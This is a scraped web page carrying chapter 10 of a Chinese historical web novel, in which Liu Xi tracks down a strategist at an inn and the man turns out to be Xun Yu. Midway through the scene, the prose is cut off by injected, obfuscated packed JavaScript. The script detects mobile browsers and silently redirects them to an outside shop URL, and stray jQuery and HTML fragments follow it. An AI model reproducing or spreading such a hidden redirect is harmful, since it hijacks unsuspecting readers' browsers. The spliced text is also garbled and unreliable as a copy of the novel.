默认冷灰
24号文字
方正启体

10. 何方君子

作者:汲古本书字数:K更新时间:
    第10章何方君子


    若说刘晞为何如此自信,那自然是有原因的。


    前夜救下来的陈老伯自称荀攸门客,一开始还将她错认为荀攸所派之人,而那盲盒上又提示,一个荀姓SSR级谋士就在附近……


    如此多的巧合聚在一起,答案已经呼之欲出。


    此人,莫非就是荀攸?


    而荀攸是何人?


    一年前,她的舅舅大将军何进为对抗宦官,广征海内名士,荀攸便是其中之一。彼时,母后何皇后欲以她的婚事为筹码,交结颍川士族,便借着舅舅这层关系,相中了年少成名、才智卓绝的荀攸。


    纳采、问名、纳吉……订婚的流程走了大半,只差最后一步“纳征”,却忽逢京中剧变。兄长被废,母后惨死,何氏一族一落千丈,这桩婚事,也就这样无声无息地湮灭在了尘埃里。


    不过婚事虽然不了了之,可如今在此处相逢,足见她与这位未曾谋面的未婚夫多么有缘。


    他,一定就是她命定的第一位僚佐!


    刘晞从草席上一跃而起,向伍仁简单交代了几句守寨事宜,便兴冲冲地跑到寨门,正欲循着地图上的红点摸去,却瞥见那红点下方,又补充了一行小字:


    【人才处于亚健康状态】


    迈出去的脚,又硬生生收了回来。刘晞转身回到寨中,一把将正在捣药的知琴也拽了出来。


    霍阳山北,万寿县。


    刘晞和知琴跟着地图上的红点来到永安客栈。


    “掌柜的,来一壶酒,一叠花生米、两碗面和一间上房。”刘晞一身利落的短打,大马金刀地坐到大堂中央的桌子旁,潇洒地甩出一锭银子。


    小二忙不迭得跑过来,点头哈腰道:“这位客官,实在抱歉,本店已经被订满了,西头还有一家客栈,您看您要不……”


    “满了?可我看你们家空空荡荡的。”知琴疑惑道。


    小二只是赔罪,刘晞扫了一眼大厅,有几人不时地往楼上撇,还有几人佩刀,肌肉遒劲,是练家子,见她望来,正要起身走来。


    “无妨,我们另寻他出好了。”刘晞灿然一笑,朝门外走去,却突然听见环佩叮当,一阵幽香袭来——一个身形颀长的白衣男子,与她擦肩而过,向楼上走去。


    地图上的红点和她的位置恰好重合。


    身旁的知琴发出一声极轻的惊呼,还未出声,便被刘晞一个眼神止住。


    客栈的气氛不对。有人跟上来了。


    刘晞带着知琴,先是在街边摊子上慢悠悠地吃完了两碗面,又去酒肆提了一坛酒,在迷宫般的巷弄里七拐八绕,终于甩掉了身后的尾巴。


    “好了,现在安全了。”刘晞将酒坛放下,看向知琴,“你认识那个公子?”


    知琴吞了口唾沫,点了点头又摇了摇头,不太确定地说道:“奴婢不敢确定……只是,您还记得奴婢曾说过,是被一位公子‘请’上马车的吗?”


    “当时奴婢路过承明殿,无意间……瞥见庭中立着一位公子,当真是芝兰玉树一般的人物,便……便多瞧了两眼。”讲到这里,她的声音低了下去,似乎有些羞赧。


    “谁知,竟被那位公子瞧见了。他打量了奴婢一番,目光落在奴婢腰间的太医署印记上时,忽然眼前一亮,便含笑走了过来。”


    知琴模仿着那公子的语气,“他说,‘董太师欲送汉阳公主西归封地,公主凤体有恙,路上正缺人照料。事出从权,还望姑娘见谅。’他的话音刚落,奴婢就被两个甲士‘请’上了这驾马车……然后,就看到了昏迷不醒的您。”


    “奴婢当时慌乱,没有看清他的全脸,但他的身形,还有……还有他腰间佩戴的那枚白玉玉佩,和刚刚那位公子一模一样!”


    原来如此。


    当日她刺杀董卓不成,被吕布那厮震到脑袋,只能强撑着扔掉人皮面具,还没跑回宫中,就在路上昏迷了。而听知琴的描述,当日应是这位公子救了自己,便以西归为借口欲将她送出城去。


    未曾想还是被李肃截胡了。


    而承明殿,历来为黄门侍郎掌钥。如此想来,那公子定为荀攸无疑!


    能在那种情况下冒着风险舍命救她,此人,必是忠贞耿介之士!


    那她此去招揽……稳了!


    只是,他落脚的客栈,为何会被人监视?


    没关系,刘晞搓搓手,脸上露出一个充满“匪气”的笑容,看她来一出,英雌救美!


    “知琴,你去东市租一辆最结实的马车,在后巷口等我。我,去去就回。”


    说罢,她解开头冠,将长发胡乱地在头顶扎成一个歪髻,又从路边抓了一把灰,在自己脸上随意抹了两道。转眼间,一个俊俏的小郎君,就变成了一个看起来有几分凶悍的落魄游侠。


    快到客栈门口的时候,却见门口一阵骚动,一个身穿官服的胖子带着几个衙役,气势汹汹地闯了进来。


    刘晞脚步一拐,顺势绕到客栈后巷,如猫儿般悄无声息地攀上了屋顶,屋顶上恰好有一处破洞,刘晞向下望去。


    只见那官大人一脚踹开拦路的小二,鼻子里发出一声冷哼,粗声问道:“荀先生在吗?”


    “韩……韩大人。”小二连忙躬下身子,眼观鼻鼻观心。


    这位韩大人正是万寿县县令,曾为董卓亲随,出身行伍之间,三个月前才被派来驻守此地。


    小二把头埋得更低道,“回大人,今晨……还未见荀先生出来。”


    韩县令眉头一皱,抬脚便要往楼上闯。那小二脸色一白,连忙张开双臂拦在前方,颤声道:“大人不可!前日里,荀先生新染了风寒,身子正弱,怕是……怕是还见不得风。”


    “滚开!”韩县令不耐烦地一甩袖子,旁侧闪出几个蹲守在此的衙役,粗暴地把小二拉了下来,按倒在地上。


    刘晞见韩县令上楼,估摸了一下位置,跳到另一角,果然,正是看到韩县令站到一雅间之外,只是此处就听不清楼下的声音了。


    无妨,刘晞摸出刚刚在路上摘的树叶,知道了具体位置,她就可以“直接”和“荀攸”沟通。


    天字雅间外,韩县令整了整衣冠,对着门口的侍从,倨傲地扬了扬下巴:“还望为我向先生通传——”


    话音未落,房门“吱呀”一声开了,一个侍女面无表情地端着一个漆盘走出,仿佛没看见门口这群不速之客。


    房内的博山炉,形制古朴,雕工精致。炉中并无烟气,却有一股清冽而雅致的香味,如水一般弥漫在整个屋子里,令人心神一清。


    是雪烬香。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712245|189279||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    传闻此香,乃是取西域雪山上一种名为‘龙血木’的古树,在霜雪之夜,取其自然渗出的赤色树脂,与昆仑白玉一同研磨成粉,再以文火微焙,直至香气沉淀如灰烬,方可得。


    其香初闻清冽如雪,细品则温润如玉,尾调悠长,也只有荀家这种高门世家,才用得起了。


    门内,一扇巨大的山水屏风,挡住了门外人的视线。


    “荀先生。”韩县令对着屏风拱了拱手,开门见山道,“前夜董太师连发三道诏书,征辟先生入京为官,不知先生何时可以启程?”


    房内,先是传来几声压抑的咳嗽,随后便陷入了长久的沉默。就在韩县令耐心将尽,脸色开始变得难看时,屏风之上,终于映出了一道修长而挺拔的剪影。


    那人端坐于席上,身形稳如山岳。


    “我以为,太师是知礼之人。”一个温和的声音缓缓从屏风内淌出,略带喑哑。


    “太师之礼,自然无可挑剔。”韩县令有些摸不着头脑,急急辩解。


    屏风后的人影,缓缓抬起了一只手,宽大的袖口屏风上勾勒出柔和的线条。


    “那便是县令大人忘了礼数?”


    那个温和的声音继续说道,不疾不徐,仿佛只是在探讨学问:


    “《礼记》有云,‘入户奉扃,视瞻毋回’。意思是,进入他人门户,当手捧门栓以示不敢擅专,且目光不能四处扫视以窥人隐私。大人倒好,非但不请自入,更纵容从人推搡店家。此为无视主人,慢待我等,此其一也。”


    “彧染恙在身,家人已代为谢客。然大人不听,强闯入室,直面起居之地。此为‘探’人私寝,非君子所为。此其二也。”


    “至于其三,”屏风后的声音带上了一丝自嘲,“彧一介布衣,只因病暂居此地,却劳动大人遣衙役‘日夜护卫’,驿站内外,‘关怀备至’,竟令外人不敢擅入。如此厚爱,形同‘圈禁’,彧……实在愧不敢当。”


    “敢问,此三者皆太师之意否?”


    韩县令听得冷汗直冒,深知董卓有意笼络士人,若因自己处置不当而坏了太师的大事,他项上人头难保。


    “先生息怒!”韩县令连忙堆起笑容,“是某出身乡野,不懂规矩,多谢先生指教。”他下意识地扶了扶头上的官帽,心下稍定,又挺起腰板,给自己找了个台阶,“近来盗贼群起,楼下之人,也是奉命保护先生安全,还望先生谅解。”


    就在这时,顶上传来瓦片碎裂的声音,县令皱眉,正欲呵手下探查,却听屏风内人轻咳两声,吩咐门口的仆役道“找一下乌梅那只狸奴,是不是又顽劣跑到屋顶上去了。”


    韩县令正欲作罢,却又听到屋内哐当一声,什么东西碎了的声音。


    “荀先生?”韩县令不确定得喊道。


    无人应答。


    里面传来窸窸窣窣地声响,随后屏风上的人影不见了,还伴随着一声“放肆!”地厉呵。


    “怎么回事?里面是什么声音?”韩县令再不迟疑,拔出腰间佩剑,一个箭步冲入屏风之后——


    房间里,空无一人。


    只有大开的窗户,风吹得帷幔狂舞。


    人呢?


    “来人!”韩县令的怒吼,“有贼人劫走了荀彧先生,给我追!快!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)